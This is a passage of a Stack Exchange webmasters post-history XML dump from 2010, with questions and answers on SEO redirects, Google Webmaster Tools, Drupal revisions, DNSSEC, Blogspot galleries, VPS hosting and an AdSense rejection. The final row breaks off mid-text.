  <row Id="9793" PostHistoryTypeId="1" PostId="4947" RevisionGUID="a96f9f94-87fb-4b65-a12a-161b4f4cc15c" CreationDate="2010-11-03T19:30:21.897" UserId="43" Text="Embedding/scraping the Rotten Tomatoes &quot;Tomatometer&quot; score on another site" />
  <row Id="9794" PostHistoryTypeId="3" PostId="4947" RevisionGUID="a96f9f94-87fb-4b65-a12a-161b4f4cc15c" CreationDate="2010-11-03T19:30:21.897" UserId="43" Text="&lt;embed&gt;" />
  <row Id="9795" PostHistoryTypeId="2" PostId="4948" RevisionGUID="df8a3b18-e8e7-482f-93f4-5dfc8ba0e3eb" CreationDate="2010-11-03T19:40:35.177" UserId="2545" Text="My Webmasters Tools home page contains example.com and www.example.com in Sites section.&#xD;&#xA;&#xD;&#xA;There is a rewrite rule (301 redirect) on my server that redirects all requests from www.example.com to example.com.&#xD;&#xA;&#xD;&#xA;Now I am worried why dashboard pages for example.com and www.example.com show different data? These pages show different keywords and different amount of links to my site.&#xD;&#xA;&#xD;&#xA;Is it normal? Is there any way to &quot;merge&quot; collected data? Or maybe there is a way to make Google treat example.com and www.example.com as one site (as it really is)?" />
  <row Id="9796" PostHistoryTypeId="1" PostId="4948" RevisionGUID="df8a3b18-e8e7-482f-93f4-5dfc8ba0e3eb" CreationDate="2010-11-03T19:40:35.177" UserId="2545" Text="Different data for example.com and www.example.com in Google Webmasters Tools" />
  <row Id="9797" PostHistoryTypeId="3" PostId="4948" RevisionGUID="df8a3b18-e8e7-482f-93f4-5dfc8ba0e3eb" CreationDate="2010-11-03T19:40:35.177" UserId="2545" Text="&lt;google-webmaster-tools&gt;&lt;redirects&gt;&lt;websites&gt;&lt;backlinks&gt;" />
  <row Id="9798" PostHistoryTypeId="2" PostId="4949" RevisionGUID="48d55753-c18d-4fec-9c31-4b2726262986" CreationDate="2010-11-03T19:45:17.183" UserId="1253" Text="Did you set the preferred domain in your Webmaster Account? It can be found under settings." />
  <row Id="9799" PostHistoryTypeId="2" PostId="4950" RevisionGUID="e94adf0a-4539-463a-b33b-8119733655a9" CreationDate="2010-11-03T19:45:39.547" UserId="2293" Text="Good question.&#xD;&#xA;&#xD;&#xA;If it is a duplicated content, ie, same content, but in another language, I think you should build just one domain, and use a&#xD;&#xA;&#xD;&#xA;    www.domain.com/en/pageName.html&#xD;&#xA;    www.domain.com/fr/pageName.html&#xD;&#xA;&#xD;&#xA;structure.&#xD;&#xA;&#xD;&#xA;However, if the content changes substantially according to locale, I think it is better use subdomains like:&#xD;&#xA;&#xD;&#xA;    en.domain.com/pageName.html&#xD;&#xA;    fr.domain.com/pageName.html&#xD;&#xA;&#xD;&#xA;This because subdomains are proper for claiming a full subsection, with different type of content in they, and this structure improve the indexability for crawlers." />
  <row Id="9800" PostHistoryTypeId="2" PostId="4951" RevisionGUID="3c175f0c-15c1-45b1-b92c-13a4974c48f5" CreationDate="2010-11-03T19:46:14.813" UserId="2209" Text="Under Site Configuration &gt; Settings, there is an option for preferred domain. Select the one you want and allow Google some time to transfer all your data to the preferred profile. " />
  <row Id="9801" PostHistoryTypeId="2" PostId="4952" RevisionGUID="4fd92d08-a440-4a93-b9ab-7695f163725e" CreationDate="2010-11-03T19:49:26.120" UserId="2209" Text="Host a single website with multiple language packs. If you host multiple different websites with a different languages then your PR will be divided between the sites." />
  <row Id="9802" PostHistoryTypeId="2" PostId="4953" RevisionGUID="25278cd9-89a3-4131-84b3-a6c8c13b6fcb" CreationDate="2010-11-03T19:53:03.207" UserId="2011" Text="By default, Drupal makes it possible to store your edits to a node as a new revision instead of overwriting the original. You can enhance that functionality with extra modules like [Diff][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://drupal.org/project/diff" />
  <row Id="9806" PostHistoryTypeId="2" PostId="4955" RevisionGUID="0d4d2ce5-c566-4fe1-8441-fba1898cab2f" CreationDate="2010-11-03T20:21:24.627" UserId="2313" Text="You could create in iMacros for Firefox/Chrome macro that gets the macro, and [embed the macro][1] on your website. If the user clicks on the embedded macro, it runs in the browser and gets the data.&#xD;&#xA;&#xD;&#xA;Of course, that is not the same as really embedding it. But as it runs on the users' machine it is 100% legal (your IP will never show up in their server logs).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wiki.imacros.net/iMacros_for_Firefox#Social_Scripting" />
  <row Id="9807" PostHistoryTypeId="5" PostId="4933" RevisionGUID="c809105f-605f-4f56-a5d2-aac9d158b535" CreationDate="2010-11-03T20:33:15.543" UserId="2288" Comment="added 119 characters in body; edited title" Text="EDITED: Looking for a way to view ALL modifications to a Drupal site's system made via the admin. If possible, I'd like to be able to &quot;roll them&quot; any system changes made, and have the module sorted out any dependencies related to the roll-back, or at least get a clear warning message stating what is going to happen -- or simple state why it's not possible to undo." />
  <row Id="9808" PostHistoryTypeId="4" PostId="4933" RevisionGUID="c809105f-605f-4f56-a5d2-aac9d158b535" CreationDate="2010-11-03T20:33:15.543" UserId="2288" Comment="added 119 characters in body; edited title" Text="Is there a way to view and/or undo system edits made via the Drupal admin interface?" />
  <row Id="9809" PostHistoryTypeId="5" PostId="4952" RevisionGUID="4550eba1-c37d-4950-a506-a9357004c868" CreationDate="2010-11-03T20:38:05.483" UserId="2209" Comment="deleted 1 characters in body" Text="Host a single website with multiple language packs. If you host multiple different websites with a different language then your PR will be divided between the sites." />
  <row Id="9811" PostHistoryTypeId="5" PostId="4835" RevisionGUID="38f5a3ff-7c5d-4bf7-97ab-176e2a814d7d" CreationDate="2010-11-03T21:16:33.727" UserId="1429" Comment="added 1 characters in body" Text="Jeff, I have no idea about Stackoverflow because I have never had the opportunity in my life to be a webmaster of such a huge and so frequently updated website.&#xD;&#xA;&#xD;&#xA;**For small websites that do not frequently change I think sitemap are quite useful** (not saying that sitemap is the most important thing, but quite useful yes) for two reasons:&#xD;&#xA;&#xD;&#xA;1. site is crawled quikly (same reason explained by [Joshak answer above][1]) and **in my small experience I noticed this many times with small sites** (up to 30/50 pages)&#xD;&#xA;&#xD;&#xA;2. after few days I submitted a sitmap, I look in &quot;Google Webmaster Tools - Sitemaps&quot; and in one blow eye I see **number of URLs submitted in sitemap VS the number of URLs in web index**, if I see they are the same good, otherwise I can check up immediately in my websites what pages are not getting indexed and why.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/4803/the-sitemap-paradox/4809#4809" />
  <row Id="9812" PostHistoryTypeId="2" PostId="4957" RevisionGUID="e2946ff0-4f68-42c1-a711-51c7261bf9e9" CreationDate="2010-11-03T21:42:00.777" UserId="1429" Text="Before wasting your time or paying someone to waste it for you in building useless link campaign I strongly suggest you to read [Virtuosi Media smart consideration about link building][1].&#xD;&#xA;&#xD;&#xA;**Link building by hand (one by one) is a huge effort**. Almost all blogs/forums/social network uses NOFOLLOW link which make those links completly useless for increase Google rank.&#xD;&#xA;&#xD;&#xA;1. you need to find the blogs/directories/forums out there that do **not use NOFOLLOW** in links and that have pages containing keywords related to your site contents.&#xD;&#xA;**This might take you a huge amount of time** if you want to insert 100 links in 100 different sites.&#xD;&#xA;&#xD;&#xA;2. But let's suppose you already have a 'SEO' list of blogs/directories/forums that do not use NOFOLLOW. In order to insert a link you have to go through all the registration processes (in forum/dircetory, and nowdays also in some blogs) and verifying the email address on each registration etc.&#xD;&#xA;This might end up in taking you more than 15 minutes for each link. **100 link at 15min each will take you 25 hours of work only to insert the links.**&#xD;&#xA;&#xD;&#xA;**1 + 2 = couple of weeks (or more) of full time work for 100 GOOD links.** And maybe after few months your site will rank just couple of positions higher in Google than before. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/2445/tool-or-online-service-to-view-google-pr-of-thousand-sites-from-a-list/2446#2446" />
  <row Id="9813" PostHistoryTypeId="2" PostId="4958" RevisionGUID="f26b87dc-359f-4c64-bd4d-1d8926596997" CreationDate="2010-11-03T21:52:57.337" UserId="767" Text="There are two steps required, as far as I know, anyway. Setting options for new nodes, and configuring permissions to make the revisions visible.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;### Default Node Options&#xD;&#xA;&#xD;&#xA;Log on to your Drupal installation and go to *Administer*, *Content Management* and *Content Types*.&#xD;&#xA;&#xD;&#xA;Select a content type (say, **Page**) and press *edit*.&#xD;&#xA;&#xD;&#xA;Look for the heading *Workflow Settings* and set the default options for this content type. Turn *on* &quot;Create New Revision&quot;.&#xD;&#xA;&#xD;&#xA;### Permission settings&#xD;&#xA;&#xD;&#xA;Go to *Administer*, *User Management* and *Permissions*.&#xD;&#xA;&#xD;&#xA;Under &quot;Node Module&quot; look for these permissions:&#xD;&#xA;&#xD;&#xA;* View revisions&#xD;&#xA;* Revert revisions&#xD;&#xA;* Delete revisions&#xD;&#xA;&#xD;&#xA;Hope this helps." />
  <row Id="9814" PostHistoryTypeId="2" PostId="4959" RevisionGUID="98956e01-df36-4653-92ff-cdbfb1119af1" CreationDate="2010-11-03T22:14:55.347" UserId="2251" Text="I don't think this is entirely possible, but here we go: &#xD;&#xA;&#xD;&#xA;I have a friend who has a **Blogspot** blog. He has posts with text, posts with videos and posts with **photos**... and he was wondering if there's any way to turn the posts which are just photos into a **thumbnail gallery** screen on his blog.&#xD;&#xA;&#xD;&#xA;So for example, let's say he has 20 photo posts on his blog with the label *Skiing Holiday 2009* (horrible example, I know). Is there a way of having a post created for his blog that displays those photos as thumbnails, linking through to their full size versions?&#xD;&#xA;&#xD;&#xA;I just don't think it's possible, but I'm really hoping someone will be able to offer a solution (or even a place where I could find a solution).&#xD;&#xA;&#xD;&#xA;Thanks a lot." />
  <row Id="9815" PostHistoryTypeId="1" PostId="4959" RevisionGUID="98956e01-df36-4653-92ff-cdbfb1119af1" CreationDate="2010-11-03T22:14:55.347" UserId="2251" Text="Photo gallery for Blogspot blog" />
  <row Id="9816" PostHistoryTypeId="3" PostId="4959" RevisionGUID="98956e01-df36-4653-92ff-cdbfb1119af1" CreationDate="2010-11-03T22:14:55.347" UserId="2251" Text="&lt;website-features&gt;&lt;blog&gt;&lt;blogger&gt;&lt;thumbnail&gt;&lt;photo-gallery&gt;" />
  <row Id="9817" PostHistoryTypeId="2" PostId="4960" RevisionGUID="e2b16549-3d2f-408c-b48f-60275531fdf9" CreationDate="2010-11-03T22:16:23.527" UserId="1429" Text="i read on [Google SEO REPORT CARD][1] that for search engines this page: &#xD;&#xA;&#xD;&#xA;`http://www.domain.com/somepath`&#xD;&#xA;&#xD;&#xA;is a different page than this one:&#xD;&#xA;&#xD;&#xA;`http://www.domain.com/somepath/` (note the final slash '`/`')&#xD;&#xA;&#xD;&#xA;Well if this is true i have few questions:&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;A) **Is this true also for home page path** i.e. `http://www.domain.com`.&#xD;&#xA;&#xD;&#xA;I mean I already redirect 301 `http://domain.com` to `http://www.domain.com`, but how do I redirect also `http://www.domain.com` to `http://www.domain.com/` (with final slash) ???&#xD;&#xA;Acually Apache server or my browser client (don't know who is doing this) seem to already do this sort of redirect becasue if I insert `http://www.domain.com` in browser bar it always auto adds the final slash making it `http://www.domain.com/`&#xD;&#xA;&#xD;&#xA;-----&#xD;&#xA;&#xD;&#xA;B) Since I still use file extensions, I was not so concerned about redirecting `domain.com/somepath` to `domain.com/somepath/` because all pages in my sites are in the form of `somepath/page.htm`.&#xD;&#xA;&#xD;&#xA;But I noticed anyway a strange thing that is confusing me. If I enter as URL `somepath/page.htm` the server returns the same page of `somepath/page.htm/` (with final slash) instead of an error.&#xD;&#xA;I think it's normal because if you look for http://www.php.net/docs.php it returns the same page of http://www.php.net/docs.php/ (final slash), **but are these then considered TWO different pages for search engines???**&#xD;&#xA;&#xD;&#xA;**Do I have then to adjust again .htacess in order to redirect 301 each URL with final slash to the same url without the final slash???**&#xD;&#xA;&#xD;&#xA;-----&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;  [1]: http://static.googleusercontent.com/external_content/untrusted_dlcp/www.google.com/en/us/webmasters/docs/google-seo-report-card.pdf&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="9818" PostHistoryTypeId="1" PostId="4960" RevisionGUID="e2b16549-3d2f-408c-b48f-60275531fdf9" CreationDate="2010-11-03T22:16:23.527" UserId="1429" Text="SEO: do we need to redirect also pages with final slash?" />
  <row Id="9819" PostHistoryTypeId="3" PostId="4960" RevisionGUID="e2b16549-3d2f-408c-b48f-60275531fdf9" CreationDate="2010-11-03T22:16:23.527" UserId="1429" Text="&lt;seo&gt;&lt;url&gt;&lt;url-rewriting&gt;&lt;url-format&gt;" />
  <row Id="9821" PostHistoryTypeId="2" PostId="4961" RevisionGUID="396b1de3-60c9-4a0b-a300-72b07aa2283d" CreationDate="2010-11-03T22:21:00.623" UserId="2997" Text="I'd like to tell You a short story about my experience with Steadfast.net hosting, and maybe ask for advice.&#xD;&#xA;&#xD;&#xA;I've been using Steadfast.net shared hosting since 18th June 2008, never really had a chance to complain. I liked the fact that I knew what I got, I could easily change my plan and the few times I needed customer service it was quick and excellent. Well, up until few days ago.&#xD;&#xA;&#xD;&#xA;Without any prior information and notification, on 28th of October I got a mail informing me, that from now on, shared hosting will be maintained by Fluid Hosting, as they sold their shared hosting operations to them. The exact wording: &#xD;&#xA;&#xD;&#xA;&gt; I’ll get right to the point: Steadfast Networks is selling its entire shared hosting operation to Fluid Hosting effective immediately.  &#xD;&#xA;&gt; *Mail received: 2010-10-28 01:06*&#xD;&#xA;&#xD;&#xA;I didn't like the fact that, without first informing me, a pretty long lasting client in my opinion (well, for me two and almost half of a year is rather long), they do so serious stuff. But ok, that was just another reason for me to finally close my account, since I wasn't using it for some time anyway.  &#xD;&#xA;With that in my mind I proceeded to get my money transfered back to me and then cancel the account. Unfortunately two problems happened.&#xD;&#xA;&#xD;&#xA;The first one, the very light one compared to the other, there is something called Balance on your account on steadfast. I always thought that it shows the current amount of money you have transferred to the account which you can use for anything you want or get it back. But, the thing is, whenever you change hosting plan, the amount is updated... by a wrong amount. Instead of $230 (which is displayed on my Balance) I **SHOULD** be eligible to circa $80. Fine, I can live with that. But I am **not going to see the money**, you see!&#xD;&#xA;&#xD;&#xA;I did some mailing between Fluid Hosting staff and Steadfast billing staff. Apparently, Fluid Hosting can't refund me the money, because they haven't even got it (as I paid it to steadfast, half a year ago), and Steadfast apparently CAN NOT refund me because I am no longer their Customer! This is the exact wording of a message I got from Fluid Hosting CEO:&#xD;&#xA;&gt; Unfortunately at this moment, we will not be able to issue refund. Steadfast has confirmed that they will not do refund and we are not in any position to refund you for the money that we have never received in the first place. However, even though we have never received your payment, we are still committed to provide you the service you already paid for. [...]  &#xD;&#xA;&gt; Unfortunately, however, we will not be able to give any refund.&#xD;&#xA;&#xD;&#xA;I can't really blame Fluid, since I can feel their situation, and it seems as if they did what they could. But I do feel cheated by Steadfast, dang it, it might be just $80, but it is still money rightfully belonging to me.  Damn it, not only I, but now imagine anybody else who decided to withdraw from their hosting because of the owner changing! It's double win for them - money from selling service and money from never-going-to-happen refunds!  &#xD;&#xA;**The point is:** If you were considering getting steadfast as your host, take into account this situation and think twice.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Now the big question I have (aside from my need to tell you this story) is: what the funk am I supposed to do know.  &#xD;&#xA;I have 2.2 month of additional free service for being a long standing customer, and due to the situation I was also offered one additional free month from Fluid, but dang, I don't need it. I haven't been using this hosting since August. I can't (and don't want) to take this to court because A) it's ridiculously low amount of money; B) I am from Poland and they are from Chicago;&#xD;&#xA;&#xD;&#xA;I know I can just gulp this money and live on, but... It is irritating!&#xD;&#xA;&#xD;&#xA;I am terribly sorry if this isn't a place where one should inquire about this things, but that's the best I could think of. Thank for your time." />
  <row Id="9822" PostHistoryTypeId="1" PostId="4961" RevisionGUID="396b1de3-60c9-4a0b-a300-72b07aa2283d" CreationDate="2010-11-03T22:21:00.623" UserId="2997" Text="Cheated by steadfast.net" />
  <row Id="9823" PostHistoryTypeId="3" PostId="4961" RevisionGUID="396b1de3-60c9-4a0b-a300-72b07aa2283d" CreationDate="2010-11-03T22:21:00.623" UserId="2997" Text="&lt;web-hosting&gt;" />
  <row Id="9824" PostHistoryTypeId="5" PostId="4960" RevisionGUID="287eb7d8-8d22-4d79-b8c1-f5d6e8db68f7" CreationDate="2010-11-03T22:23:44.420" UserId="1429" Comment="added 47 characters in body" Text="i read on [Google SEO REPORT CARD][1] that for search engines this page: &#xD;&#xA;&#xD;&#xA;`http://www.domain.com/somepath`&#xD;&#xA;&#xD;&#xA;is a different page than this one:&#xD;&#xA;&#xD;&#xA;`http://www.domain.com/somepath/` (note the final slash '`/`')&#xD;&#xA;&#xD;&#xA;Well if this is true i have few questions:&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;A) **Is this true also for home page path** i.e. `http://www.domain.com`.&#xD;&#xA;&#xD;&#xA;I mean I already redirect 301 `http://domain.com` to `http://www.domain.com`, but how do I redirect also `http://www.domain.com` to `http://www.domain.com/` (with final slash) ???&#xD;&#xA;Actually Apache server or my browser client (don't know who is doing this) seem to already do this sort of redirect becasue if I insert `http://www.domain.com` in browser bar it always auto adds the final slash making it `http://www.domain.com/`&#xD;&#xA;&#xD;&#xA;So I'm confused, do I need to do anything?&#xD;&#xA;&#xD;&#xA;-----&#xD;&#xA;&#xD;&#xA;B) Since I still use file extensions, I was not so concerned about redirecting `domain.com/somepath` to `domain.com/somepath/` because all pages in my sites are in the form of `somepath/page.htm`.&#xD;&#xA;&#xD;&#xA;But I noticed anyway a strange thing that is confusing me. If I enter as URL `somepath/page.htm` the server returns the same page of `somepath/page.htm/` (with final slash) instead of an error.&#xD;&#xA;I think it's normal because if you look for http://www.php.net/docs.php it returns the same page of http://www.php.net/docs.php/ (final slash), **but are these then considered TWO different pages for search engines???**&#xD;&#xA;&#xD;&#xA;**Do I have then to adjust again .htacess in order to redirect 301 each URL with final slash to the same url without the final slash???**&#xD;&#xA;&#xD;&#xA;-----&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;  [1]: http://static.googleusercontent.com/external_content/untrusted_dlcp/www.google.com/en/us/webmasters/docs/google-seo-report-card.pdf&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="9825" PostHistoryTypeId="2" PostId="4962" RevisionGUID="3a056c80-7cc5-44c8-bd2f-b16f1a1bed5b" CreationDate="2010-11-03T22:25:20.343" UserId="706" Text="What is needed to add DNSSEC to my site?&#xD;&#xA;&#xD;&#xA;Is it like HTTPS/SSL that I have to buy a certificate, or can I generate one myself to use? Is there any free way I can use DNSSEC or do I have to pay for this service?" />
  <row Id="9826" PostHistoryTypeId="1" PostId="4962" RevisionGUID="3a056c80-7cc5-44c8-bd2f-b16f1a1bed5b" CreationDate="2010-11-03T22:25:20.343" UserId="706" Text="What is needed to add DNSSEC to my site?" />
  <row Id="9827" PostHistoryTypeId="3" PostId="4962" RevisionGUID="3a056c80-7cc5-44c8-bd2f-b16f1a1bed5b" CreationDate="2010-11-03T22:25:20.343" UserId="706" Text="&lt;dns&gt;&lt;ssl-certificate&gt;&lt;free&gt;&lt;dns-servers&gt;" />
  <row Id="9828" PostHistoryTypeId="2" PostId="4963" RevisionGUID="0a48534c-f03a-4b7c-97c6-117c218432c4" CreationDate="2010-11-03T22:42:39.483" UserId="1429" Text="No it's not, but **If you try to sell something on the web, SEO is the most important part!!!**&#xD;&#xA;&#xD;&#xA;**Nowdays** even if you have super efficent server and well designed, with great functionality and user friendlysness, efficient website, **but you do not appear in 1st Google page, you won't get any orders!!!**&#xD;&#xA;&#xD;&#xA;This said, it's absolutely true that it's easier to do SEO on well designed, with great functionality and user friendlysness, efficient, **full of rich interesting contents**  websites rather than doing SEO on poorly designed, slow, poor contents, websites.&#xD;&#xA;&#xD;&#xA;So a well designed webiste can be considered a necessary start conditon for good SEO, but not sufficient. You might still find poor designed webistes that ranks higher that your well designed website on Google and they will sell more than your website.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="9829" PostHistoryTypeId="2" PostId="4964" RevisionGUID="6e6b8c80-5631-4c8f-ba14-dcf86cc81586" CreationDate="2010-11-03T23:18:37.143" UserId="179" Text="You can get lower prices for hardware out of &lt;a href=&quot;http://prgmr.com/xen/&quot;&gt;prgmr.com&lt;/a&gt;.  I have used one of their VPS plans for ~6 months now, and had almost zero problems. The trade-off is support. While their system &lt;i&gt;very&lt;/i&gt; rarely gives me issues, I have had them. And they were my fault and I had to fix them on my own. There's generally somebody on the other end of the line if I send an email for help, but the exchange would normally go something like &quot;I'm getting this error from grub, but I can't track down the problem&quot; &quot;[reply with a link to the prgmr wiki, with an article that answers &lt;i&gt;most&lt;/i&gt; of my question]&quot;.&#xD;&#xA;&#xD;&#xA;But they tell you right up front that they aren't here for support. From their homepage:&#xD;&#xA;&#xD;&#xA;&gt; &lt;ul&gt;&lt;li&gt;An easy to understand price schedule: $4/month per account, and $1/month for every 64MiB ram. Please note; &lt;b&gt;this means all plans come with $4/month worth of support.&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;&#xD;&#xA;&#xD;&#xA;Their slogan is also &quot;We don't assume you are stupid.&quot;&#xD;&#xA;&#xD;&#xA;If you have your configuration down to a science, and you know what you're doing in the shell, you shouldn't have any issues. They've been completely reliable for me since I got my configuration issues ironed out (again, the issues were with my setup, not their VPS)." />
  <row Id="9830" PostHistoryTypeId="5" PostId="4964" RevisionGUID="e6255f95-6e54-4192-94e8-aa546627c1af" CreationDate="2010-11-03T23:25:14.260" UserId="179" Comment="links" Text="You can get lower prices for hardware out of &lt;a href=&quot;http://prgmr.com/xen/&quot;&gt;prgmr.com&lt;/a&gt;.  I have used one of their VPS plans for ~6 months now, and had almost zero problems. The trade-off is support. While their system &lt;i&gt;very&lt;/i&gt; rarely gives me issues, I have had them. And they were my fault and I had to fix them on my own. There's generally somebody on the other end of the line if I send an email for help, but the exchange would normally go something like &quot;I'm getting this error from grub, but I can't track down the problem&quot; &quot;[reply with a link to the prgmr wiki, with an article that answers &lt;i&gt;most&lt;/i&gt; of my question]&quot;.&#xD;&#xA;&#xD;&#xA;But they tell you right up front that they aren't here for support. From their homepage:&#xD;&#xA;&#xD;&#xA;&gt; &lt;ul&gt;&lt;li&gt;An easy to understand price schedule: $4/month per account, and $1/month for every 64MiB ram. Please note; &lt;b&gt;this means all plans come with $4/month worth of support.&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;&#xD;&#xA;&#xD;&#xA;Their slogan is also &quot;We don't assume you are stupid.&quot;&#xD;&#xA;&#xD;&#xA;If you have your configuration down to a science, and you know what you're doing in the shell, you shouldn't have any issues. They've been completely reliable for me since I got my configuration issues ironed out (again, the issues were with my setup, not their VPS).&#xD;&#xA;&#xD;&#xA;There are &lt;a href=&quot;http://journal.uggedal.com/vps-comparison-between-slicehost-and-prgmr&quot;&gt;comparisons&lt;/a&gt; that show prgmr outperforming, in this case, Slicehost by a large margin &lt;i&gt;at times&lt;/i&gt;. On the flip side, there are &lt;a href=&quot;http://journal.uggedal.com/vps-performance-comparison&quot;&gt;comparisons&lt;/a&gt; out there that show other VPSs giving higher performance with less hardware for the same price in some situations but have prgmr's performance holding very steady. So evaluate your needs accordingly." />
  <row Id="9831" PostHistoryTypeId="2" PostId="4965" RevisionGUID="b8c2e794-8c2e-42b6-b040-b6e92ea5b7f0" CreationDate="2010-11-04T00:19:49.847" UserId="2293" Text="Hello good guitar songs lover (yeah, Django Reinhardt rocks).&#xD;&#xA;&#xD;&#xA;I don't think you can implement that gallery directly on blogspot. I have 4 blogs (don't ask me why so much) on blogspot, and I've never found such feature but I got an idea.&#xD;&#xA;&#xD;&#xA;Your friend can use flickr to make his galleries, and then [use its galleries feature][1] to embed into blogspot.&#xD;&#xA;&#xD;&#xA;The problem is the limit to galleries. Only 18 pics per gallery can be added. You can [search an app][2] to do that though.&#xD;&#xA;&#xD;&#xA;There are other possibilities on flickr also that you can explore and check if fits, like sets, collections, mosaics... I really think it worth a try.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.flickr.com/help/galleries/&#xD;&#xA;  [2]: http://www.flickr.com/services/" />
  <row Id="9832" PostHistoryTypeId="2" PostId="4966" RevisionGUID="f8e9ab08-f464-4732-b55c-ba5861a16420" CreationDate="2010-11-04T00:23:42.827" UserId="1757" Text="If you don't know what DNSSEC is, then it probably doesn't apply to you. It's something that people running DNS servers have to implement. So that means your webhost and your ISP and your users' ISPs. If they haven't already deployed DNSSEC, then there's not much you can do about it." />
  <row Id="9833" PostHistoryTypeId="2" PostId="4967" RevisionGUID="3ccef6a3-5042-454a-9037-369212185438" CreationDate="2010-11-04T00:36:59.570" UserId="2293" Text="According to [Google SEO Guide][1], and also common sense, website paths resembles to a directory structure.&#xD;&#xA;&#xD;&#xA;So, trailing slash denotes some folder root. Power users will also attempt to do the following:&#xD;&#xA;&#xD;&#xA; - user enters through **http://domain.com/articles/2009/nice-shoes.htm**&#xD;&#xA; - user will delete last piece to get into a directory listing, like **http://domain.com/articles/2009/**, hoping to see all articles from 2009.&#xD;&#xA;&#xD;&#xA;Adjusting your URLs according to this, will let an hierarchy more clear to crawl and index.&#xD;&#xA;&#xD;&#xA;You can make this correction with .htaccess mod_rewrite for both, add or remove trailing slash, according to your needs. Check:&#xD;&#xA;&#xD;&#xA;http://www.google.com/search?q=htaccess+removing+trailing+slash&#xD;&#xA;&#xD;&#xA;http://www.google.com/search?q=htaccess+adding+trailing+slash&#xD;&#xA;&#xD;&#xA;Hope this helps.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/webmasters/docs/search-engine-optimization-starter-guide.pdf" />
  <row Id="9834" PostHistoryTypeId="2" PostId="4968" RevisionGUID="8cb5fda0-7580-4be9-81f0-fa605e72ce32" CreationDate="2010-11-04T00:54:35.293" UserId="745" Text="Anytime there is a difference in any part of the URL, even if it is capitalization or parameter order, search engines will view it as a unique URL.&#xD;&#xA;&#xD;&#xA;**A**) Yes, they are still different URLs, even if it's the domain. You might find the following code useful for your .htaccess file:&#xD;&#xA;&#xD;&#xA;    #change RewriteBase to / after transfer&#xD;&#xA;    RewriteBase    /&#xD;&#xA;    &#xD;&#xA;    #Redirects non-www to www&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^domain.com&#xD;&#xA;    RewriteRule (.*) http://www.domain.com/$1 [R=301,L]&#xD;&#xA;&#xD;&#xA;**B**) These are considered different URLs, but you shouldn't be using a trailing slash directly after a file extension even if the browser still interprets it correctly. I don't think I have ever seen a slash directly after a file extension, so I wouldn't worry about it too much unless you yourself are linking to your pages that way. Don't use the slash after the extension.&#xD;&#xA;&#xD;&#xA;In general, stay consistent with your URL schemes. Pick one way and stick with it." />
  <row Id="9835" PostHistoryTypeId="2" PostId="4969" RevisionGUID="443f9285-5c92-41e0-92d0-daf663ee586e" CreationDate="2010-11-04T00:58:22.920" UserId="2379" Text="Google Blogger does not have such features.  You could write a lot of complex Javascript and ajax to actually parse each post and create a thumbnail for each one that does not have text.  &#xD;&#xA;&#xD;&#xA;I think your best bet is to take advantage of the tagging feature.&#xD;&#xA;Tag posts that belong in gallery with the word &quot;gallery&quot;&#xD;&#xA;&#xD;&#xA;then simply make a link in the template to do a search by that tag.&#xD;&#xA;&#xD;&#xA;http://blog.yoursite.com/search/label/Gallery" />
  <row Id="9837" PostHistoryTypeId="2" PostId="4970" RevisionGUID="7b59ff06-477f-4d72-b19a-e0fdab2bf9ee" CreationDate="2010-11-04T01:35:49.813" UserId="2042" Text="What am I doing wrong ? Google adsense application got rejected 3 times, reason &quot;Page type&quot;.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I am running blog http://photoforu.blogspot.com/ from sometime, but able to approve the adsense account for it, the issue they say is&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Issues:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;- Page type&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;---------------------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Further detail:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Page type: Your website is a type of website that we do not currently&#xD;&#xA;&#xD;&#xA;accept into our program. Such websites include, but are not limited to,&#xD;&#xA;&#xD;&#xA;chat sites, sites that drive traffic through cybersquatting, and sites&#xD;&#xA;&#xD;&#xA;that use excessive keywords in the content or code of their pages.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;---------------------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I don't understand whats wrong with the content,&#xD;&#xA;&#xD;&#xA;Google webmaster tools don't show any error.. and there are only 82 keywords yet.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;What am I doing wrong ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;List of keywords: (for reference only)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;1.	image (3 variants)			&#xD;&#xA;&#xD;&#xA;2.	love (4 variants)			&#xD;&#xA;&#xD;&#xA;3.	post (2 variants)			&#xD;&#xA;&#xD;&#xA;4.	blog (3 variants)			&#xD;&#xA;&#xD;&#xA;5.	baby (2 variants)			&#xD;&#xA;&#xD;&#xA;6.	photoforu 			&#xD;&#xA;&#xD;&#xA;7.	girls 			&#xD;&#xA;&#xD;&#xA;8.	new (2 variants)			&#xD;&#xA;&#xD;&#xA;9.	